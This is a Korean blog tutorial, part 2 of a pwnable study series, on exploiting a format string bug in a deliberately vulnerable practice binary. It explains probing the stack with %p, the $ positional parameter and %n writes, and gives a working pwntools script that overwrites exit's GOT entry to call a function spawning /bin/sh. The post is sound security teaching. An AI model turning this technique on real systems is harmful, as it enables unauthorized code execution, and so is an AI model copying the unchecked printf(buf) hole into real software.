studies/pwnable

[Format String Bug] 포맷스트링 버그 (fsb) - 2

$1m0hYa 2020. 4. 23. 12:36

포맷스트링 버그 2차시입니다 ㅎㅎ

저번시간에는 포맷스트링버그의 기본적인 원리를 알아보았습니다.

이번에는 포맷스트링으로 메모리값을 변조하는 법을 알아보겠습니다.

바이너리 파일 하나를 한번 볼까요?

FSB
0.02MB

#include <stdio.h>
#include <stdlib.h>

void shell();

int main() {
   char buf[100];
   int len;

   read(0, buf, 100);
   printf(buf);

   exit(0);
}

void shell() {
   system("/bin/sh");
}
Arch: amd64-64-little 
RELRO: Partial RELRO 
Stack: No canary found 
NX: NX enabled 
PIE: No PIE (0x400000)

이 프로그램은 BOF로 Exploit 하는것이 불가능합니다.

그러니 FSB(Format String Bug) 를 이용해 Exploit 해보겠습니다.

이 프로그램의 취약점은 이곳입니다.

printf(buf);

이곳을 통해 FSB를 터뜨릴수 있습니다.

그렇다면 어떻게 Exploit을 하느냐?

바로 exit함수의 GOT를 변조하는 방법을 사용하면 됩니다.

Explot 시나리오

  1. FSB를 이용해 스택을 가리키는 부분을 찾는다.
  2. Exit_GOTshell 함수로 변조한다.

1. FSB로 스택을 가리키는 부분 탐색.

aaaaaaaa%p%p%p%p%p%p를 입력해보고 결과를 확인해봅시다.

6번째의 포맷스트링이 buf상위 8바이트를 가리키고 있는걸 확인할수 있습니다.

그림으로 따져보면 이렇게 되는것이죠.

맨 앞부분에 변조하고자 하는 주소를 넣어줄수 있지만, exit_got의 주소에 NULL이 포함되어 있어 출력이 끊기게 됩니다.

이때 사용하는것이 바로 $파라미터입니다.

이것은 %n$(type) 로 사용합니다.

n번째 인자를 불러오겠다는 것이죠.

이 파라미터를 사용하는 예시를 보여주겠습니다.

위의 그림에서는 6번째 인자를 통해 buf의 내용물을 확인 할수 있었습니다.

이때 %6$p를 하게되면 굳이 포맷스트링을 6개 사용하지 않고 바로 6번째의 인자를 출력해줄수 있습니다.

어때요? 놀랍죠?

2. exit_gotshell함수의 주소로 변조한다.

이번에는 변조하는 방법에 대해 알아보겠습니다.

이럴때 쓰는 포맷스트링이 %n입니다.

%n이 가리키는 인자에 지금까지 출력한 수를 넣어줍니다.

방법은 이와 같습니다.

만약 값을 변조하고자 하는 주소가 ????????이라면

이렇게 출력을 해주면

이렇게 %n????????주소에 출력한 byte 수만큼 덮어주게 됩니다.

이렇게 exploit이 가능합니다!

어때요? 정말 놀랍지 않나요???

이제 익스를 보여드리겠습니다.

from pwn import *

p = process('./FSB')
e = ELF('./FSB')

shell = 0x40119F #4198815
exit_got = e.got['exit']

pay = '%4198815c%8$lnaa' + p64(exit_got)

p.send(pay)

p.interactive()

# 여기서 %8lnaa를 출력한 이유

어? 이상해요! 원래, 바꾸려는걸 앞에다 두지 않았나요ㅠㅠ?

네^^ 일반적으로는 원래 그렇죠 ㅎㅎ

그런데 64bit환경에서는 gotNULL이 포함되어있기 때문에, 출력할때 끊기는 현상이 벌어집니다.

그래서 맨뒤에 놓은뒤 $파라미터를 이용해 익스를 하였습니다.

혹시 잘 이해가 잘 되시지 않을까봐 그림을 넣어 두겠습니다 ㅎㅎ

위의 익스를 스택으로 표현을 해보면 이렇게 됩니다.

즉, 8번째의 인자가 가리키는 곳이 우리가 변조하려던 주소가 있는곳이죠.

그리고 마지막에 aa를 넣은이유는 남은 8byte를 맞추어주기 위해서 입니다 ^^

자 이제 FSB 2탄을 보셨습니다 후우...

다음 3탄에서는 포맷스트링 버그에서 이용가능한 여러 테크닉을 소개해 드리겠습니다^^

감사합니다 ㅎㅎ

'studies > pwnable' 카테고리의 다른 글

libc-database 사용해보기  (0) 2019.10.23
[Format String Bug] 포맷스트링 버그 (fsb) - 1  (1) 2019.10.02